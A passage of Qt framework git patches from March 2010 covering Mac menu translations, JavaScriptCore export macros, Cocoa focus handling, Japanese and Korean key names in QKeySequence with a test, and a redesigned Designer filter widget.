information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + #ifndef WIDGET_H #define WIDGET_H -- cgit v0.12 From e5c386c39065c640b938b33994af28a6589e4523 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 18 Mar 2010 16:24:58 +1000 Subject: Build and run QElapsedTimer test. --- tests/auto/corelib.pro | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/auto/corelib.pro b/tests/auto/corelib.pro index c08e372..259be4c 100644 --- a/tests/auto/corelib.pro +++ b/tests/auto/corelib.pro @@ -24,6 +24,7 @@ SUBDIRS=\ qdebug \ qdiriterator \ qeasingcurve \ + qelapsedtimer \ qevent \ qexplicitlyshareddatapointer \ qfileinfo \ -- cgit v0.12 From f3ea09192a6f17d2f2b607272eb5ad2ba47536e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= Date: Thu, 18 Mar 2010 11:39:08 +0100 Subject: doc: Fixed use of Qt 3 support function in QIcon doc snippet isOn() is an Qt 3 support member of QAbstractButton, isChecked() should be used instead. --- doc/src/snippets/code/src_gui_image_qicon.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/snippets/code/src_gui_image_qicon.cpp b/doc/src/snippets/code/src_gui_image_qicon.cpp index df1fa82..e0dcfa6 100644 --- a/doc/src/snippets/code/src_gui_image_qicon.cpp +++ b/doc/src/snippets/code/src_gui_image_qicon.cpp @@ -56,8 +56,8 @@ void MyWidget::drawIcon(QPainter *painter, QPoint pos) QPixmap pixmap = icon.pixmap(QSize(22, 22), isEnabled() ? QIcon::Normal : QIcon::Disabled, - isOn() ? QIcon::On - : QIcon::Off); + isChecked() ? QIcon::On + : QIcon::Off); painter->drawPixmap(pos, pixmap); } //! [2] -- cgit v0.12 From f3f979cbd37f47892cd0c0a9fc23b802ed6f7890 Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Thu, 18 Mar 2010 10:25:38 +0100 Subject: Incorrect translation for Application menu items in Mac. A behavior change was introduced by the commit 97b8727635a73197fac4f5edb8a1122733933db4. The menu items with menuRoles will now be translated like Native Mac applications. Translations/merging of menu items are done as follows: 1) AboutRole ==> "About " 2) PreferencesRole ==> "Preferences..." 3) QuitRole ==> "Quit " Task-number: QTBUG-4463 Reviewed-by: mortens --- src/gui/kernel/qapplication.cpp | 7 ++++--- src/gui/kernel/qcocoamenuloader_mac.mm | 3 +++ src/gui/widgets/qmenu_mac.mm | 22 +++++++--------------- translations/qt_da.ts | 15 +++++++++++++++ translations/qt_de.ts | 15 +++++++++++++++ translations/qt_es.ts | 15 +++++++++++++++ translations/qt_fr.ts | 15 +++++++++++++++ translations/qt_ja_JP.ts | 15 +++++++++++++++ translations/qt_pl.ts | 15 +++++++++++++++ translations/qt_pt.ts | 15 +++++++++++++++ translations/qt_ru.ts | 15 +++++++++++++++ translations/qt_sv.ts | 15 +++++++++++++++ translations/qt_zh_CN.ts | 15 +++++++++++++++ translations/qt_zh_TW.ts | 15 +++++++++++++++ 14 files changed, 179 insertions(+), 18 deletions(-) diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp index fea8c37..a2666f7 100644 --- a/src/gui/kernel/qapplication.cpp +++ b/src/gui/kernel/qapplication.cpp @@ -2309,12 +2309,14 @@ static bool qt_detectRTLLanguage() " languages or to 'RTL' in right-to-left languages (such as Hebrew" " and Arabic) to get proper widget layout.") == QLatin1String("RTL")); } -#if defined(QT_MAC_USE_COCOA) static const char *application_menu_strings[] = { QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Services"), QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Hide %1"), QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Hide Others"), - QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Show All") + QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Show All"), + QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Preferences..."), + QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Quit %1"), + QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","About %1") }; QString qt_mac_applicationmenu_string(int type) { @@ -2322,7 +2324,6 @@ QString qt_mac_applicationmenu_string(int type) application_menu_strings[type]); } #endif -#endif /*!\reimp diff --git a/src/gui/kernel/qcocoamenuloader_mac.mm b/src/gui/kernel/qcocoamenuloader_mac.mm index 35d156a..b58fd7c 100644 --- a/src/gui/kernel/qcocoamenuloader_mac.mm +++ b/src/gui/kernel/qcocoamenuloader_mac.mm @@ -231,6 +231,9 @@ QT_USE_NAMESPACE [hideItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(1).arg(qAppName()))]; [hideAllOthersItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(2))]; [showAllItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(3))]; + [preferencesItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(4))]; + [quitItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(5).arg(qAppName()))]; + [aboutItem setTitle: qt_mac_QStringToNSString(qt_mac_applicationmenu_string(6).arg(qAppName()))]; #endif } diff --git a/src/gui/widgets/qmenu_mac.mm b/src/gui/widgets/qmenu_mac.mm index 627043d..9a14ce6 100644 --- a/src/gui/widgets/qmenu_mac.mm +++ b/src/gui/widgets/qmenu_mac.mm @@ -909,6 +909,7 @@ static NSMenuItem *qt_mac_menu_merge_action(OSMenuRef merge, QMacMenuAction *act static QString qt_mac_menu_merge_text(QMacMenuAction *action) { QString ret; + extern QString qt_mac_applicationmenu_string(int type); #ifdef QT_MAC_USE_COCOA QT_MANGLE_NAMESPACE(QCocoaMenuLoader) *loader = getMenuLoader(); #endif @@ -916,34 +917,25 @@ static QString qt_mac_menu_merge_text(QMacMenuAction *action) ret = action->action->text(); #ifndef QT_MAC_USE_COCOA else if (action->command == kHICommandAbout) - ret = QMenuBar::tr("About %1").arg(qAppName()); + ret = qt_mac_applicationmenu_string(6).arg(qAppName()); else if (action->command == kHICommandAboutQt) ret = QMenuBar::tr("About Qt"); else if (action->command == kHICommandPreferences) - ret = QMenuBar::tr("Preferences"); + ret = qt_mac_applicationmenu_string(4); else if (action->command == kHICommandQuit) - ret = QMenuBar::tr("Quit %1").arg(qAppName()); + ret = qt_mac_applicationmenu_string(5).arg(qAppName()); #else else if (action->menuItem == [loader aboutMenuItem]) { - if (action->action->text() == QString("About %1").arg(qAppName())) - ret = QMenuBar::tr("About %1").arg(qAppName()); - else - ret = action->action->text(); + ret = qt_mac_applicationmenu_string(6).arg(qAppName()); } else if (action->menuItem == [loader aboutQtMenuItem]) { if (action->action->text() == QString("About Qt")) ret = QMenuBar::tr("About Qt"); else ret = action->action->text(); } else if (action->menuItem == [loader preferencesMenuItem]) { - if (action->action->text() == QString("Preferences")) - ret = QMenuBar::tr("Preferences"); - else - ret = action->action->text(); + ret = qt_mac_applicationmenu_string(4); } else if (action->menuItem == [loader quitMenuItem]) { - if (action->action->text() == QString("Quit %1").arg(qAppName())) - ret = QMenuBar::tr("About %1").arg(qAppName()); - else - ret = action->action->text(); + ret = qt_mac_applicationmenu_string(5).arg(qAppName()); } #endif return ret; diff --git a/translations/qt_da.ts b/translations/qt_da.ts index 515ed50..6d52fc2 100644 --- a/translations/qt_da.ts +++ b/translations/qt_da.ts @@ -23,6 +23,21 @@ Show All Vis alle + + + Preferences... + Indstillinger… + + + + Quit %1 + Slut %1 + + + + About %1 + Om %1 + AudioOutput diff --git a/translations/qt_de.ts b/translations/qt_de.ts index 2108774..6289834 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -23,6 +23,21 @@ Show All Alle anzeigen + + + Preferences... + Einstellungen … + + + + Quit %1 + %1 beenden + + + + About %1 + Über %1 + CloseButton diff --git a/translations/qt_es.ts b/translations/qt_es.ts index 596864a..4fa4762 100644 --- a/translations/qt_es.ts +++ b/translations/qt_es.ts @@ -23,6 +23,21 @@ Show All Mostrar todo + + + Preferences... + Preferencias… + + + + Quit %1 + Salir de %1 + + + + About %1 + Acerca de %1 + AudioOutput diff --git a/translations/qt_fr.ts b/translations/qt_fr.ts index 322fb65..7a69cbe 100644 --- a/translations/qt_fr.ts +++ b/translations/qt_fr.ts @@ -23,6 +23,21 @@ Show All Tout afficher + + + Preferences... + Préférences… + + + + Quit %1 + Quitter %1 + + + + About %1 + À propos de %1 + AudioOutput diff --git a/translations/qt_ja_JP.ts b/translations/qt_ja_JP.ts index f0dae3a..e6f92b7 100644 --- a/translations/qt_ja_JP.ts +++ b/translations/qt_ja_JP.ts @@ -23,6 +23,21 @@ Show All すべてを表示 + + + Preferences... + 環境設定... + + + + Quit %1 + %1 を終了 + + + + About %1 + %1 について + CloseButton diff --git a/translations/qt_pl.ts b/translations/qt_pl.ts index bf6e1fe..db7d2c5 100644 --- a/translations/qt_pl.ts +++ b/translations/qt_pl.ts @@ -23,6 +23,21 @@ Show All Pokaż wszystko + + + Preferences... + Preferencje… + + + + Quit %1 + Zakończ %1 + + + + About %1 + %1… + CloseButton diff --git a/translations/qt_pt.ts b/translations/qt_pt.ts index 7ca7fe7..97afd4f 100644 --- a/translations/qt_pt.ts +++ b/translations/qt_pt.ts @@ -23,6 +23,21 @@ Show All Mostrar Tudo + + + Preferences... + Preferências… + + + + Quit %1 + Encerrar %1 + + + + About %1 + Sobre o %1 + AudioOutput diff --git a/translations/qt_ru.ts b/translations/qt_ru.ts index 641d7aa..e9cdfd4 100644 --- a/translations/qt_ru.ts +++ b/translations/qt_ru.ts @@ -23,6 +23,21 @@ Show All Показать все + + + Preferences... + Настройки… + + + + Quit %1 + Завершить %1 + + + + About %1 + О программе %1 + CloseButton diff --git a/translations/qt_sv.ts b/translations/qt_sv.ts index 391af4a..d4c8977 100644 --- a/translations/qt_sv.ts +++ b/translations/qt_sv.ts @@ -23,6 +23,21 @@ Show All Visa alla + + + Preferences... + Inställningar… + + + + Quit %1 + Avsluta %1 + + + + About %1 + Om %1 + AudioOutput diff --git a/translations/qt_zh_CN.ts b/translations/qt_zh_CN.ts index d6a995d..df23f43 100644 --- a/translations/qt_zh_CN.ts +++ b/translations/qt_zh_CN.ts @@ -23,6 +23,21 @@ Show All 全部显示 + + + Preferences... + 偏好设置… + + + + Quit %1 + 退出 %1 + + + + About %1 + 关于 %1 + AudioOutput diff --git a/translations/qt_zh_TW.ts b/translations/qt_zh_TW.ts index 50c0048..b29c879 100644 --- a/translations/qt_zh_TW.ts +++ b/translations/qt_zh_TW.ts @@ -23,6 +23,21 @@ Show All 顯示全部 + + + Preferences... + 偏好設定⋯ + + + + Quit %1 + 結束 %1 + + + + About %1 + 關於 %1 + AudioOutput -- cgit v0.12 From a6b28b13331117c6beec96ddcdcd727550d77343 Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Thu, 18 Mar 2010 12:41:09 +0100 Subject: Minor update for f3f979cbd37f47892cd0c0a9fc23b802ed6f7890 The function is needed only on Mac. Task-number: QTBUG-4463 Reviewed-by: TrustMe --- src/gui/kernel/qapplication.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp index a2666f7..003fd4c 100644 --- a/src/gui/kernel/qapplication.cpp +++ b/src/gui/kernel/qapplication.cpp @@ -2309,6 +2309,7 @@ static bool qt_detectRTLLanguage() " languages or to 'RTL' in right-to-left languages (such as Hebrew" " and Arabic) to get proper widget layout.") == QLatin1String("RTL")); } +#if defined(Q_WS_MAC) static const char *application_menu_strings[] = { QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Services"), QT_TRANSLATE_NOOP("MAC_APPLICATION_MENU","Hide %1"), @@ -2324,6 +2325,7 @@ QString qt_mac_applicationmenu_string(int type) application_menu_strings[type]); } #endif +#endif /*!\reimp -- cgit v0.12 From 109efebab1420270d824fd419bf0b2f2cb9d01b9 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 18 Mar 2010 11:25:05 +0100 Subject: Fix JSC export macros If we're building QtScript, we want the JS_EXPORTDATA and JS_EXPORTCLASS to expand to nothing. This avoids the macros being redefined (incorrectly) on MSVC. --- src/3rdparty/javascriptcore/JavaScriptCore/config.h | 2 +- src/script/script.pro | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/config.h b/src/3rdparty/javascriptcore/JavaScriptCore/config.h index d5fdfe9..2af2e71 100644 --- a/src/3rdparty/javascriptcore/JavaScriptCore/config.h +++ b/src/3rdparty/javascriptcore/JavaScriptCore/config.h @@ -25,7 +25,7 @@ #include -#if OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC) +#if !defined(QT_BUILD_SCRIPT_LIB) && OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC) #if defined(BUILDING_JavaScriptCore) || defined(BUILDING_WTF) #define JS_EXPORTDATA __declspec(dllexport) #else diff --git a/src/script/script.pro b/src/script/script.pro index df5dbf3..2a74a66 100644 --- a/src/script/script.pro +++ b/src/script/script.pro @@ -73,7 +73,7 @@ solaris-g++:isEqual(QT_ARCH,sparc) { } # Avoid JSC C API functions being exported. -DEFINES += JS_NO_EXPORT JS_EXPORTDATA="" +DEFINES += JS_NO_EXPORT INCLUDEPATH += $$PWD -- cgit v0.12 From 371cab1c2da691c654b2f86a4cabfd4f74f6b170 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Thu, 18 Mar 2010 14:40:43 +0100 Subject: Fixed qmdiarea autotest regression on Cocoa This is an addition to 4256bd2141fef53f9e69a51b966bd85f67a6cf54 - when Cocoa asks as to become first responder we should only tell Qt about it if we are embedded into Cocoa app and there is no Qt widget being focused. Reviewed-by: Prasanth --- src/gui/kernel/qcocoaview_mac.mm | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index 0bc57e0..0e378f9 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -1058,7 +1058,8 @@ static int qCocoaViewCount = 0; { // see the comment in the acceptsFirstResponder - if the window "stole" focus // let it become the responder, but don't tell Qt - if (!QApplication::focusWidget() && qwidget->focusPolicy() != Qt::NoFocus) + if (qwidget && qt_widget_private(qwidget->window())->topData()->embedded + && !QApplication::focusWidget() && qwidget->focusPolicy() != Qt::NoFocus) qwidget->setFocus(Qt::OtherFocusReason); return YES; } -- cgit v0.12 From b19899f81cb7ac3b35e5fad3af777e89f1627474 Mon Sep 17 00:00:00 2001 From: Tasuku Suzuki Date: Thu, 18 Mar 2010 14:52:47 +0100 Subject: Add Japanese/Korean keyboard specific keys to QKeySequence QKeySequence didn't handle keys like Qt::Key_Zenkaku_Hankaku. Such keys didn't work as shortcut in Qt Creator. Merge-request: 496 Reviewed-by: Denis Dzyubenko --- src/gui/kernel/qkeysequence.cpp | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp index 7f92a2c..9efcc4e 100644 --- a/src/gui/kernel/qkeysequence.cpp +++ b/src/gui/kernel/qkeysequence.cpp @@ -580,6 +580,41 @@ static const struct { { Qt::Key_Hangup, QT_TRANSLATE_NOOP("QShortcut", "Hangup") }, { Qt::Key_Flip, QT_TRANSLATE_NOOP("QShortcut", "Flip") }, + // -------------------------------------------------------------- + // Japanese keyboard support + { Qt::Key_Kanji, QT_TRANSLATE_NOOP("QShortcut", "Kanji") }, + { Qt::Key_Muhenkan, QT_TRANSLATE_NOOP("QShortcut", "Muhenkan") }, + { Qt::Key_Henkan, QT_TRANSLATE_NOOP("QShortcut", "Henkan") }, + { Qt::Key_Romaji, QT_TRANSLATE_NOOP("QShortcut", "Romaji") }, + { Qt::Key_Hiragana, QT_TRANSLATE_NOOP("QShortcut", "Hiragana") }, + { Qt::Key_Katakana, QT_TRANSLATE_NOOP("QShortcut", "Katakana") }, + { Qt::Key_Hiragana_Katakana,QT_TRANSLATE_NOOP("QShortcut", "Hiragana Katakana") }, + { Qt::Key_Zenkaku, QT_TRANSLATE_NOOP("QShortcut", "Zenkaku") }, + { Qt::Key_Hankaku, QT_TRANSLATE_NOOP("QShortcut", "Hankaku") }, + { Qt::Key_Zenkaku_Hankaku, QT_TRANSLATE_NOOP("QShortcut", "Zenkaku Hankaku") }, + { Qt::Key_Touroku, QT_TRANSLATE_NOOP("QShortcut", "Touroku") }, + { Qt::Key_Massyo, QT_TRANSLATE_NOOP("QShortcut", "Massyo") }, + { Qt::Key_Kana_Lock, QT_TRANSLATE_NOOP("QShortcut", "Kana Lock") }, + { Qt::Key_Kana_Shift, QT_TRANSLATE_NOOP("QShortcut", "Kana Shift") }, + { Qt::Key_Eisu_Shift, QT_TRANSLATE_NOOP("QShortcut", "Eisu Shift") }, + { Qt::Key_Eisu_toggle, QT_TRANSLATE_NOOP("QShortcut", "Eisu toggle") }, + { Qt::Key_Codeinput, QT_TRANSLATE_NOOP("QShortcut", "Code input") }, + { Qt::Key_MultipleCandidate,QT_TRANSLATE_NOOP("QShortcut", "Multiple Candidate") }, + { Qt::Key_PreviousCandidate,QT_TRANSLATE_NOOP("QShortcut", "Previous Candidate") }, + + // -------------------------------------------------------------- + // Korean keyboard support + { Qt::Key_Hangul, QT_TRANSLATE_NOOP("QShortcut", "Hangul") }, + { Qt::Key_Hangul_Start, QT_TRANSLATE_NOOP("QShortcut", "Hangul Start") }, + { Qt::Key_Hangul_End, QT_TRANSLATE_NOOP("QShortcut", "Hangul End") }, + { Qt::Key_Hangul_Hanja, QT_TRANSLATE_NOOP("QShortcut", "Hangul Hanja") }, + { Qt::Key_Hangul_Jamo, QT_TRANSLATE_NOOP("QShortcut", "Hangul Jamo") }, + { Qt::Key_Hangul_Romaja, QT_TRANSLATE_NOOP("QShortcut", "Hangul Romaja") }, + { Qt::Key_Hangul_Jeonja, QT_TRANSLATE_NOOP("QShortcut", "Hangul Jeonja") }, + { Qt::Key_Hangul_Banja, QT_TRANSLATE_NOOP("QShortcut", "Hangul Banja") }, + { Qt::Key_Hangul_PreHanja, QT_TRANSLATE_NOOP("QShortcut", "Hangul PreHanja") }, + { Qt::Key_Hangul_PostHanja,QT_TRANSLATE_NOOP("QShortcut", "Hangul PostHanja") }, + { Qt::Key_Hangul_Special, QT_TRANSLATE_NOOP("QShortcut", "Hangul Special") }, { 0, 0 } }; -- cgit v0.12 From b0eeea8a2ff13e1449dd98ef5c43c1c89e2e357b Mon Sep 17 00:00:00 2001 From: Tasuku Suzuki Date: Thu, 18 Mar 2010 14:52:49 +0100 Subject: Add a test case for commit 76d767080a6be7b025f36d6778dfaedbd31a9f07 Merge-request: 496 Reviewed-by: Denis Dzyubenko --- tests/auto/qkeysequence/tst_qkeysequence.cpp | 52 ++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/tests/auto/qkeysequence/tst_qkeysequence.cpp b/tests/auto/qkeysequence/tst_qkeysequence.cpp index b1ef223..1faae6a 100644 --- a/tests/auto/qkeysequence/tst_qkeysequence.cpp +++ b/tests/auto/qkeysequence/tst_qkeysequence.cpp @@ -134,6 +134,8 @@ private slots: void keyBindings(); void translated_data(); void translated(); + void i18nKeys_data(); + void i18nKeys(); void initTestCase(); @@ -570,5 +572,55 @@ void tst_QKeySequence::translated() } +void tst_QKeySequence::i18nKeys_data() +{ + QTest::addColumn("keycode"); + QTest::addColumn("keystring"); + + // Japanese keyboard support + QTest::newRow("Kanji") << (int)Qt::Key_Kanji << QString("Kanji"); + QTest::newRow("Muhenkan") << (int)Qt::Key_Muhenkan << QString("Muhenkan"); + QTest::newRow("Henkan") << (int)Qt::Key_Henkan << QString("Henkan"); + QTest::newRow("Romaji") << (int)Qt::Key_Romaji << QString("Romaji"); + QTest::newRow("Hiragana") << (int)Qt::Key_Hiragana << QString("Hiragana"); + QTest::newRow("Katakana") << (int)Qt::Key_Katakana << QString("Katakana"); + QTest::newRow("Hiragana Katakana") << (int)Qt::Key_Hiragana_Katakana << QString("Hiragana Katakana"); + QTest::newRow("Zenkaku") << (int)Qt::Key_Zenkaku << QString("Zenkaku"); + QTest::newRow("Hankaku") << (int)Qt::Key_Hankaku << QString("Hankaku"); + QTest::newRow("Zenkaku Hankaku") << (int)Qt::Key_Zenkaku_Hankaku << QString("Zenkaku Hankaku"); + QTest::newRow("Touroku") << (int)Qt::Key_Touroku << QString("Touroku"); + QTest::newRow("Massyo") << (int)Qt::Key_Massyo << QString("Massyo"); + QTest::newRow("Kana Lock") << (int)Qt::Key_Kana_Lock << QString("Kana Lock"); + QTest::newRow("Kana Shift") << (int)Qt::Key_Kana_Shift << QString("Kana Shift"); + QTest::newRow("Eisu Shift") << (int)Qt::Key_Eisu_Shift << QString("Eisu Shift"); + QTest::newRow("Eisu_toggle") << (int)Qt::Key_Eisu_toggle << QString("Eisu toggle"); + QTest::newRow("Code input") << (int)Qt::Key_Codeinput << QString("Code input"); + QTest::newRow("Multiple Candidate") << (int)Qt::Key_MultipleCandidate << QString("Multiple Candidate"); + QTest::newRow("Previous Candidate") << (int)Qt::Key_PreviousCandidate << QString("Previous Candidate"); + + // Korean keyboard support + QTest::newRow("Hangul") << (int)Qt::Key_Hangul << QString("Hangul"); + QTest::newRow("Hangul Start") << (int)Qt::Key_Hangul_Start << QString("Hangul Start"); + QTest::newRow("Hangul End") << (int)Qt::Key_Hangul_End << QString("Hangul End"); + QTest::newRow("Hangul Hanja") << (int)Qt::Key_Hangul_Hanja << QString("Hangul Hanja"); + QTest::newRow("Hangul Jamo") << (int)Qt::Key_Hangul_Jamo << QString("Hangul Jamo"); + QTest::newRow("Hangul Romaja") << (int)Qt::Key_Hangul_Romaja << QString("Hangul Romaja"); + QTest::newRow("Hangul Jeonja") << (int)Qt::Key_Hangul_Jeonja << QString("Hangul Jeonja"); + QTest::newRow("Hangul Banja") << (int)Qt::Key_Hangul_Banja << QString("Hangul Banja"); + QTest::newRow("Hangul PreHanja") << (int)Qt::Key_Hangul_PreHanja << QString("Hangul PreHanja"); + QTest::newRow("Hangul PostHanja") << (int)Qt::Key_Hangul_PostHanja << QString("Hangul PostHanja"); + QTest::newRow("Hangul Special") << (int)Qt::Key_Hangul_Special << QString("Hangul Special"); +} + +void tst_QKeySequence::i18nKeys() +{ + QFETCH(int, keycode); + QFETCH(QString, keystring); + QKeySequence seq(keycode); + + QCOMPARE(seq, QKeySequence(keystring)); + QCOMPARE(seq.toString(), keystring); +} + QTEST_MAIN(tst_QKeySequence) #include "tst_qkeysequence.moc" -- cgit v0.12 From 49542b562cd5ed0f64fcd1705595f05700e16400 Mon Sep 17 00:00:00 2001 From: Jens Bache-Wiig Date: Thu, 18 Mar 2010 15:58:46 +0100 Subject: Redesigned filter widgets I redesigned the filter widget so that the reset button is contained within the line edit and only shown when edited. This is typically what KDE and GNOME does. The base icon also changed to use platform dependant icons on X11 and a new clear icon for other platforms. Since hinttext is now a feature of QLineEdit, I could safely remove this code as well. Unfortunately Oxygen is reporting incorrect contents margins for line edits. In essence it incorrectly offsets the frame so I had to add some magic to support that in particular. Reviewed-by: ogoffart --- .../src/components/formeditor/formeditor.qrc | 1 + .../src/components/formeditor/images/cleartext.png | Bin 0 -> 760 bytes tools/designer/src/lib/shared/filterwidget.cpp | 163 ++++++++++++--------- tools/designer/src/lib/shared/filterwidget_p.h | 52 ++++--- 4 files changed, 116 insertions(+), 100 deletions(-) create mode 100644 tools/designer/src/components/formeditor/images/cleartext.png diff --git a/tools/designer/src/components/formeditor/formeditor.qrc b/tools/designer/src/components/formeditor/formeditor.qrc index 83cc9c7..6510814 100644 --- a/tools/designer/src/components/formeditor/formeditor.qrc +++ b/tools/designer/src/components/formeditor/formeditor.qrc @@ -63,6 +63,7 @@ images/qtlogo.png images/qt3logo.png images/resetproperty.png + images/cleartext.png images/sort.png images/edit.png images/reload.png diff --git a/tools/designer/src/components/formeditor/images/cleartext.png b/tools/designer/src/components/formeditor/images/cleartext.png new file mode 100644 index 0000000..74133ba Binary files /dev/null and b/tools/designer/src/components/formeditor/images/cleartext.png differ diff --git a/tools/designer/src/lib/shared/filterwidget.cpp b/tools/designer/src/lib/shared/filterwidget.cpp index 6c73a08..84810cb 100644 --- a/tools/designer/src/lib/shared/filterwidget.cpp +++ b/tools/designer/src/lib/shared/filterwidget.cpp @@ -44,13 +44,17 @@ #include #include -#include #include #include #include #include +#include +#include +#include +#include #include +#include enum { debugFilter = 0 }; @@ -61,12 +65,44 @@ namespace qdesigner_internal { HintLineEdit::HintLineEdit(QWidget *parent) : QLineEdit(parent), m_defaultFocusPolicy(focusPolicy()), - m_hintColor(QColor(0xbbbbbb)), - m_refuseFocus(false), - m_showingHintText(false) + m_refuseFocus(false) { } +IconButton::IconButton(QWidget *parent) + : QToolButton(parent) +{ + setCursor(Qt::ArrowCursor); +} + +void IconButton::paintEvent(QPaintEvent *) +{ + QPainter painter(this); + // Note isDown should really use the active state but in most styles + // this has no proper feedback + QPixmap iconpixmap = icon().pixmap(ICONBUTTON_SIZE, ICONBUTTON_SIZE, isDown() ? + QIcon::Selected : QIcon::Normal); + QRect pixmapRect = QRect(0, 0, iconpixmap.width(), iconpixmap.height()); + pixmapRect.moveCenter(rect().center()); + painter.setOpacity(m_fader); + painter.drawPixmap(pixmapRect, iconpixmap); +} + +void IconButton::animateShow(bool visible) +{ + if (visible) { + QPropertyAnimation *animation = new QPropertyAnimation(this, "fader"); + animation->setDuration(160); + animation->setEndValue(1.0); + animation->start(QAbstractAnimation::DeleteWhenStopped); + } else { + QPropertyAnimation *animation = new QPropertyAnimation(this, "fader"); + animation->setDuration(160); + animation->setEndValue(0.0); + animation->start(QAbstractAnimation::DeleteWhenStopped); + } +} + bool HintLineEdit::refuseFocus() const { return m_refuseFocus; @@ -111,92 +147,60 @@ void HintLineEdit::focusInEvent(QFocusEvent *e) } } - hideHintText(); QLineEdit::focusInEvent(e); } -void HintLineEdit::focusOutEvent(QFocusEvent *e) +// ------------------- FilterWidget +FilterWidget::FilterWidget(QWidget *parent, LayoutMode lm) : + QWidget(parent), + m_editor(new HintLineEdit(this)), + m_button(new IconButton(m_editor)), + m_buttonwidth(0) { - if (debugFilter) - qDebug() << Q_FUNC_INFO; - // Focus out: Switch to displaying the hint text unless there is user input - showHintText(); - QLineEdit::focusOutEvent(e); -} + m_editor->setPlaceholderText(tr("Filter")); -QString HintLineEdit::hintText() const -{ - return m_hintText; -} + // Let the style determine minimum height for our widget + QSize size(ICONBUTTON_SIZE + 2, ICONBUTTON_SIZE + 2); -void HintLineEdit::setHintText(const QString &ht) -{ - if (ht == m_hintText) - return; - hideHintText(); - m_hintText = ht; - if (!hasFocus() && !ht.isEmpty()) - showHintText(); -} + QStyleOptionFrame frameOpt; + frameOpt.initFrom(m_editor); + QSize adjustedSize = style()->sizeFromContents(QStyle::CT_LineEdit, &frameOpt, size, m_editor); -void HintLineEdit::showHintText(bool force) -{ - if (m_showingHintText || m_hintText.isEmpty()) - return; - if (force || text().isEmpty()) { - m_showingHintText = true; - setText(m_hintText); - setTextColor(m_hintColor, &m_textColor); - } -} -void HintLineEdit::hideHintText() -{ - if (m_showingHintText && !m_hintText.isEmpty()) { - m_showingHintText = false; - setText(QString()); - setTextColor(m_textColor); + // Note KDE does not reserve space for the highlight color + if (style()->inherits("OxygenStyle")) { + adjustedSize = adjustedSize.expandedTo(QSize(0, 32)); + size = size.expandedTo(QSize(24, 0)); } -} -bool HintLineEdit::isShowingHintText() const -{ - return m_showingHintText; -} + m_editor->setMinimumHeight(adjustedSize.height()); -QString HintLineEdit::typedText() const -{ - return m_showingHintText ? QString() : text(); -} + // Make room for clear icon + QMargins margins = m_editor->textMargins(); + if (layoutDirection() == Qt::LeftToRight) + margins.setRight(size.width()); + else + margins.setLeft(size.width()); -void HintLineEdit::setTextColor(const QColor &newColor, QColor *oldColor) -{ - QPalette pal = palette(); - if (oldColor) - *oldColor = pal.color(QPalette::Text); - pal.setColor(QPalette::Text, newColor); - setPalette(pal);} + m_editor->setTextMargins(margins); -// ------------------- FilterWidget -FilterWidget::FilterWidget(QWidget *parent, LayoutMode lm) : - QWidget(parent), - m_button(new QPushButton), - m_editor(new HintLineEdit) -{ - m_editor->setHintText(tr("")); QHBoxLayout *l = new QHBoxLayout(this); l->setMargin(0); l->setSpacing(0); - if (lm == LayoutAlignRight) l->addItem(new QSpacerItem(0, 0, QSizePolicy::Expanding, QSizePolicy::Minimum)); l->addWidget(m_editor); - m_button->setIcon(createIconSet(QLatin1String("resetproperty.png"))); - m_button->setIconSize(QSize(8, 8)); - m_button->setFlat(true); - l->addWidget(m_button); + // KDE has custom icons for this. Notice that icon namings are counter intuitive + // If these icons are not avaiable we use the freedesktop standard name before + // falling back to a bundled resource + QIcon icon = QIcon::fromTheme(layoutDirection() == Qt::LeftToRight ? + QLatin1String("edit-clear-locationbar-rtl") : + QLatin1String("edit-clear-locationbar-ltr"), + QIcon::fromTheme("edit-clear", createIconSet(QLatin1String("cleartext.png")))); + m_button->setIcon(icon); + m_button->setToolTip(tr("Clear text")); 